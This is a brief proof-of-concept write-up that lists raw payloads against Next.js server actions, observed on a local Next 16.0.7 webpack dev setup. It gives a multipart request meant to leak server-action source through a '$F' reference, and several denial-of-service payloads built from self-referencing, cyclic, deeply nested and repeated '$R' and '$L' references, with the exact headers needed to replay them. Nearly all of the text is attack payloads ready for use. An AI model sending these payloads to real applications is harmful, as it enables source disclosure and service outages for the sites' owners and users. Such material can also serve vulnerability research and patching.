Minimal PoC payloads (no automation)

Scope: observed on the local Next 16.0.7 sample, especially webpack dev. $R0 is the minimized crash claim here. Turbopack did not reproduce that exact input, and this does not claim a production-wide Next.js crash.

These are raw payload shapes you can replay manually (text/plain unless noted):

• Source leak ($F multipart): multipart/form-data with boundary ----poc, fields:

  • name=“1”: {"id":"<ACTION_ID>","bound":null}
  • name=“0”: ["$F1"] Headers: Content-Type: multipart/form-data; boundary=----poc, Next-Action: <ACTION_ID>, Accept: text/x-component.

• DoS (self-ref row): ["$R0"]

• DoS (3-node cycle): ["$R1", ["$R2"], ["$R0"]]

• DoS (deep nest): [ [ [ [ "$R0" ] ] ] ] (repeat brackets for deeper)

• DoS (forward ref): ["$R5"]

• DoS (large repeat): JSON array of 2048 "$R0" entries (or "$L0").

• Lazy decoder 500: ["$L0"] (and variants "$L-1", "$L4", "$L64").

Send with headers:

• Content-Type: text/plain;charset=UTF-8 (unless multipart)
• Accept: text/x-component
• Next-Action: <ACTION_ID>